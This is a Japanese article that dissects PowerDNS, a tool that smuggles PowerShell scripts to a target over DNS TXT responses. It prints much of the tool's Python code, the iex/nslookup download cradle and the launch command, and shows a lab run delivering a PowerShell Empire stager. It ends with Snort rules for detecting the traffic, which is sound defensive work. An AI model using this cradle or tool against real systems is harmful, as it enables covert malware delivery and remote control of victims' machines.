DNSトンネル経由のPowershellスクリプト配信と対策







この記事では、トラフィックを隠すために、PowershellスクリプトをDNSパケット内のターゲットマシンに送信できる新しいツールについて説明します。 PowerDNSがどのように機能し、そのような攻撃からどのように防御するかを見てみましょう。



コード解析



このツールは、公式のGitHubからダウンロードできます。



リポジトリを内部に複製すると、powerdns.pyファイルが見つかります。 Pythonで記述されたこのスクリプトは、基本的にツール全体で構成されています。 彼が何をするか見てみましょう。



インポートセクションを勉強しましょう



import scapy, sys from scapy.all import * import base64 import signal import argparse
      
      





PowerDSNはネットワークパケットを処理するためにscapyを使用するという事実にすぐに注意を引きます。



次に、リスニング用のインターフェイスを設定する必要があります。 このオプションは、コマンドラインパラメーター経由では設定できないことに注意してください。



 INTERFACE = 'eth0' chunks = [] domain = ''
      
      





次に、起動検証関数の説明-validate_args() 、banner.txtファイルのバナーを表示-show_banner() 、これらは解析しません。



次の関数はより興味深い-base64_file(file)です。



 def base64_file(file): try: with open(file, "rb") as powershell_file: encoded_string = base64.b64encode(powershell_file.read()) return encoded_string except: print("\033[1;34m[*] PowerDNS:\033[0;0m Error opening file") sys.exit(-1)
      
      





起動時にパラメーターで渡すファイルを開き、その内容をBase64エンコードします。



次に、 get_chunks(ファイル)関数について説明します



 def get_chunks(file): tmp_chunks = [] encoded_file = base64_file(file) for i in range(0,len(encoded_file), 250): tmp_chunks.append(encoded_file[i:i+250]) return tmp_chunks
      
      





base64_file関数で受信したBase64ペイロードをそれぞれ250文字に分割します。



次に、DNSパケット内のペイロードを正しく送信する主な機能-powerdnsHandler(データ)



 def powerdnsHandler(data): if data.haslayer(DNS) and data.haslayer(DNSQR): global chunks ip = data.getlayer(IP) udp = data.getlayer(UDP) dns = data.getlayer(DNS) dnsqr = data.getlayer(DNSQR) print('\033[1;34m[*] PowerDNS:\033[0;0m Received DNS Query for %s from %s' % (dnsqr.qname, ip.src))
      
      





スクリプトがDNSパケットを受信すると、コンソールは「Received DNS Query for ...」という形式の行を表示します



  if len(dnsqr.qname) !=0 and dnsqr.qtype == 16: try: response = chunks[int(dnsqr.qname.split('.')[0])] except: return rdata=response rcode=0 dn = domain an = (None, DNSRR(rrname=dnsqr.qname, type='TXT', rdata=rdata, ttl=1))[rcode == 0] ns = DNSRR(rrname=dnsqr.qname, type="NS", ttl=1, rdata="ns1."+dn) forged = IP(id=ip.id, src=ip.dst, dst=ip.src) /UDP(sport=udp.dport, dport=udp.sport) / DNS(id=dns.id, qr=1, rd=1, ra=1, rcode=rcode, qd=dnsqr, an=an, ns=ns) send(forged, verbose=0, iface=INTERFACE)
      
      





要求されたTXTレコードのタイプ(DNSリソースレコードのタイプを参照 )の場合、DNSパケット内のペイロードの一部( チャンク[int(dnsqr.qname.split( '。')[0])] )が送信されます。クエリdnsqr.qname



次はプログラムの本体です



 try: show_banner() args = validate_args() signal.signal(signal.SIGINT, signal_handler) chunks = get_chunks(args.file) domain = args.domain
      
      





ここでは、起動が確認され、パラメーター値が読み取られます。



次に、変数STAGER_CMDを含む興味深い行が表示されます



 STAGER_CMD = "for ($i=1;$i -le %s;$i++){$b64+=iex(nslookup -q=txt -timeout=3 $i'.%s')[-1]};iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64))))" % (str(len(chunks)), domain)
      
      





これは、起動オプションで渡したPowerShellスクリプトブートローダーです。 このスクリプトは最初にターゲットマシンに送信されます。 このスクリプトを実行すると、PowerShellは次の形式のコマンドを周期的に実行します



 nslookup -q=txt -timeout=3 0.domain.com nslookup -q=txt -timeout=3 1.domain.com nslookup -q=txt -timeout=3 2.domain.com ...
      
      





したがって、 chunks変数に格納されている部分でペイロードを取得します。



次に、選択したPowerShellスクリプトが分割された部分の数がユーザーに表示されます。 その後、ダウンロードクレードルスクリプトSTAGER_CMDがゼロインデックスのリストに挿入されます。



  print("\033[1;34m[*] PowerDNS:\033[0;0m Splitting %s in to %s chunk(s)" % (args.file, str(len(chunks)))) chunks.insert(0,STAGER_CMD)
      
      





スクリプトが破損した部分を確認するには、 chunks.insertの後に挿入できます。



 for j in chunks: print chunks.index(j) print j
      
      





ユーザーには、ターゲットマシンで実行されるコマンドが表示されます。



  print("\033[1;34m[*] PowerDNS:\033[0;0m Use the following download cradle:\n\033[1;34m[*] PowerDNS:\033[0;0m powershell \"powershell (nslookup -q=txt -timeout=5 0.%s)[-1]\"" % (domain))
      
      





これは次の形式のコマンドです



 powershell "powershell (nslookup -q=txt -timeout=5 0.domain.com)[-1]"
      
      





すなわち Powershellは、0.domain.com(STAGER_CMDがゼロインデックスの下に格納されている)へのレコードのTXT要求を通じてダウンロードクレードルコードを受信し、実行して、Base64でメインスクリプトを取得するためのサイクルを開始します。 DNSサーバーなどの名前ではなく、ダウンロードクレードルインタープリターをPowerShellに渡す必要があるため、[-1]を使用します。 場合によっては、nslookupからの回答の正しい部分をPowerShellに渡すために別の行を使用する必要があります。



そして、コードの最後の行は、選択したインターフェイスでDNSクエリのリッスンを開始します。 要求を受信すると、 powerdnsHandler関数が呼び出されます



 while True: mSniff = sniff(filter="udp dst port 53", iface=INTERFACE, prn=powerdnsHandler) except Exception as e: sys.exit(-1)
      
      





うまくいかない場合は、sys.exitの前にprint(e)を追加してランタイムエラーを確認します。



実用例





ペイロードとして、つまり メインのPowerShellスクリプトであるPowershell Empireステージャーを使用します。



リスナーを作成します







ステージャーのコードを生成し、payload.ps1ファイルに入れます







ゾーンを制御する権限のあるDNSサーバーでpowerdns.pyを実行する必要があります。

テストフレームワークでは、sub.secret.labドメインを使用します。 このマシンでPowerDNSを実行します



 python powerdns.py --file payload.ps1 --domain sub.secret.lab
      
      





今、私はリモートマシンでダウンロードクレードルを実行する必要があります







powershellコマンドを実行した後、PowerDNSコンソールに次のエントリが表示され始めます



 [*] PowerDNS: Use the following download cradle: [*] PowerDNS: powershell "powershell (nslookup -q=txt -timeout=5 0.sub.secret.lab)[-1]" [*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 0.sub.secret.lab. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 1.sub.secret.lab. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 2.sub.secret.lab. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 3.sub.secret.lab. from 192.168.1.10 [*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10 ...
      
      





wiresharkスニファーを実行してDNSパケットを調べると、次のように表示されます







リクエスト







そしてその答え(Cradleをダウンロードします。これは、リクエストに応じて0.secret.labに返されます)







スクリプトの最後の部分を受け取った後、PowerShell Empireにエージェントの接続が成功したというメッセージが表示されます







そして、私たちが見るように、彼は労働者です







保護



この特定のスクリプトをブロックするには、ダウンロードクレードルの署名のDNSクエリを調べることができます。 のようなもの



 for ($i=1;$i -le 19;$i++){$b64+=iex(nslookup -q=txt -timeout=3 $i'.sub.secret.lab'
      
      





ネットワークIPS Snort 2.Xのルールは次のようになります



 drop udp any 53 <> any any (content: "| 7b 24 62 36 34 2b 3d 69 65 78 28 |"; msg:"PowerDNS Detected!"; sid:10000002; rev:001;)
      
      





結果















ただし、 Invoke-CradleCrafterを使用するなど、ダウンロードクレードルはより複雑で難読化される場合があります。 このルールは機能しません。



この場合、同様のルールを使用して、タイプTXTのDNSクエリのしきい値数を超えることに注意することができます



 alert udp any any -> any 53 (msg:"High TXT requests - Potential DNS Tunneling"; content:"|00 00 10 00 01|"; offset:12; threshold: type threshold, track by_src, count 3, seconds 30; sid: 1000003; rev: 001;)
      
      





結果







DNSトンネルはTXTレコードタイプだけでなく使用できることを念頭に置いてください。したがって、これらの例はPowerDNSツールからの保護を具体的に示しています。 DNSトンネルを作成するためのツールは多数あるため、効果的な保護のために、ルールがすべてのタイプのトンネルからインフラストラクチャを保護することを確認することをお勧めします。



All Articles